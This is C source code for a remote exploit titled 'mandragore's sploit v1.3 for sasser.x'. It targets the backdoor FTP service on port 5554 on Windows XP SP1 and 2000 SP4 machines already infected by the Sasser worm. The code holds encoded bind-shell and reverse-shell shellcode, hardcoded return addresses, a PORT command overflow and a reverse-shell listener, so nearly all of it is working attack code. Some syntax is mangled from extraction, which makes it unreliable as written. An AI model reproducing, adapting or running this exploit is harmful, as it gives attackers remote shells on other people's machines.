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#include #include #include #include #include #define NORM "\033[00;00m" #define GREEN "\033[01;32m" #define YELL "\033[01;33m" #define RED "\033[01;31m" #define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.3 for " RED "sasser.x" NORM #define fatal(x) { perror(x); exit(1); } #define default_port 5554 struct { char *os; long goreg; long gpa; long lla;} targets[] = { // { "os", go ebx or pop pop ret, GetProcAd ptr, LoadLib ptr }, { "wXP SP1 all", 0x77C0BF21, 0x77be10CC, 0x77be10D0 }, { "w2k SP4 all", 0x7801D081, 0x780320cc, 0x780320d0 }, }, tsz; unsigned char bsh[]={ 0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xDD,0x80,0x36,0xDE,0x46,0xE2,0xFA, 0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E, 0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE, 0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE, 0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21, 0x0E,0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0x36, 0xDB,0xDE,0xDE,0xDE,0xBC,0xB7,0xB0,0xBA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF, 0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xB2,0xB7,0xAD,0xAA,0xBB,0xB0,0xDE,0x89,0x21,0xC8, 0x21,0x0E,0xB4,0xDE,0x8A,0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xBF,0xBD,0xBD,0xBB,0xAE, 0xAA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,0x87,0x55,0x22, 0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E, 0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D, 0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9, 0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA, 0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21, 0xC8,0x21,0x0E }; unsigned char rsh[]={ 0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB6,0x80,0x36,0xDE,0x46,0xE2,0xFA, 0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E, 0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE, 0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE, 0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21, 0x0E,0x4D,0xB6,0xA1,0xDE,0xDE,0xDF,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE, 0x8E,0x8D,0x36,0xD6,0xDE,0xDE,0xDE,0xBD,0xB1,0xB0,0xB0,0xBB,0xBD,0xAA,0xDE,0x89, 0x21,0xC8,0x21,0x0E,0xB4,0xCE,0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55, 0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3, 0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC, 0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE, 0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2, 0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,0xC8,0x21,0x0E }; char verbose=0; void setoff(long GPA, long LLA) { int gpa=GPA^0xdededede, lla=LLA^0xdededede; memcpy(bsh+0x1d,&gpa,4); memcpy(bsh+0x2e,&lla,4); memcpy(rsh+0x1d,&gpa,4); memcpy(rsh+0x2e,&lla,4); } void usage(char *argv0) { int i; printf("%s -d [opts]\n\n",argv0); printf("Options:\n"); printf(" -h undocumented\n"); printf(" -p to connect to [default: %u]\n",default_port); printf(" -s <'bind'/'rev'> shellcode type [default: bind]\n"); printf(" -P for the shellcode [default: 530]\n"); printf(" -H for the reverse shellcode\n"); printf(" -L setup the listener for the reverse shell\n"); printf(" -t [default 0]; choose below\n\n"); printf("Types:\n"); for(i = 0; i < sizeof(targets)/sizeof(tsz); i++) printf(" %d %s\t[0x%.8x]\n", i, targets.os, targets.goreg); exit(1); } void shell(int s) { char buff[4096]; int retval; fd_set fds; printf("[+] connected!\n\n"); for (;;) { FD_ZERO(&fds); FD_SET(0,&fds); FD_SET(s,&fds); if (select(s+1, &fds, NULL, NULL, NULL) < 0) fatal("[-] shell.select()"); if (FD_ISSET(0,&fds)) { if ((retval = read(1,buff,4096)) < 1) fatal("[-] shell.recv(stdin)"); send(s,buff,retval,0); } if (FD_ISSET(s,&fds)) { if ((retval = recv(s,buff,4096,0)) < 1) fatal("[-] shell.recv(socket)"); write(1,buff,retval); } } } void callback(short port) { struct sockaddr_in sin; int s,slen=16; sin.sin_family = 2; sin.sin_addr.s_addr = 0; sin.sin_port = htons(port); s=socket(2,1,6); if ( bind(s,(struct sockaddr *)&sin, 16) ) { kill(getppid(),SIGKILL); fatal("[-] shell.bind"); } listen(s,1); s=accept(s,(struct sockaddr *)&sin,&slen); shell(s); printf("crap\n"); } int main(int argc, char **argv, char **env) { struct sockaddr_in sin; struct hostent *he; char *host; int port=default_port; char *Host; int Port=5300; char bindopt=1; int i,s,pid=0,rip; char *buff; int type=0; char *jmp[]=; printf(BANNER "\n"); if (argc==1) usage(argv[0]); for (i=1;iif (strlen(argv) != 2) usage(argv[0]); switch(argv[1]) { case 't': type=atoi(argv[i+1]); break; case 'd': host=argv[i+1]; break; case 'p': port=atoi(argv[i+1])?:default_port; break; case 's': if (strstr(argv[i+1],"rev")) bindopt=0; break; case 'H': Host=argv[i+1]; break; case 'P': Port=atoi(argv[i+1])?:5300; Port=Port ^ 0xdede; Port=(Port & 0xff) << 8 | Port >>8; memcpy(bsh+0x57,&Port,2); memcpy(rsh+0x5a,&Port,2); Port=Port ^ 0xdede; Port=(Port & 0xff) << 8 | Port >>8; break; case 'L': pid++; i--; break; case 'v': verbose++; i--; break; case 'h': usage(argv[0]); default: usage(argv[0]); } } if (verbose) printf("verbose!\n"); if ((he=gethostbyname(host))==NULL) fatal("[-] gethostbyname()"); sin.sin_family = 2; sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]); sin.sin_port = htons(port); printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port); if (bindopt) printf("[.] will try to put a bindshell on port %d.\n",Port); else { if ((he=gethostbyname(Host))==NULL) fatal("[-] gethostbyname() for -H"); rip=*((long *)he->h_addr_list[0]); rip=rip^0xdededede; memcpy(rsh+0x53,&rip,4); if (pid) { printf("[.] setting up a listener on port %d.\n",Port); pid=fork(); switch (pid) { case 0: callback(Port); } } else printf("[.] you should have a listener on %s:%d.\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),Port); } printf("[.] using type '%s'\n",targets[type].os); // -------------------- core s=socket(2,1,6); if (connect(s,(struct sockaddr *)&sin,16)!=0) { if (pid) kill(pid,SIGKILL); fatal("[-] connect()"); } printf("[+] connected, sending exploit\n"); buff=(char *)malloc(4096); bzero(buff,4096); sprintf(buff,"USER x\n"); send(s,buff,strlen(buff),0); recv(s,buff,4095,0); sprintf(buff,"PASS x\n"); send(s,buff,strlen(buff),0); recv(s,buff,4095,0); memset(buff+0000,0x90,2000); strncpy(buff,"PORT ",5); strcat(buff,"\x0a"); memcpy(buff+272,jmp[0],2); memcpy(buff+276,&targets[type].goreg,4); memcpy(buff+280,jmp[1],5); setoff(targets[type].gpa, targets[type].lla); if (bindopt) memcpy(buff+300,&bsh,strlen(bsh)); else memcpy(buff+300,&rsh,strlen(rsh)); send(s,buff,strlen(buff),0); free(buff); close(s); // -------------------- end of core if (bindopt) { sin.sin_port = htons(Port); sleep(1); s=socket(2,1,6); if (connect(s,(struct sockaddr *)&sin,16)!=0) fatal("[-] exploit most likely failed"); shell(s); } if (pid) wait(&pid); exit(0); }
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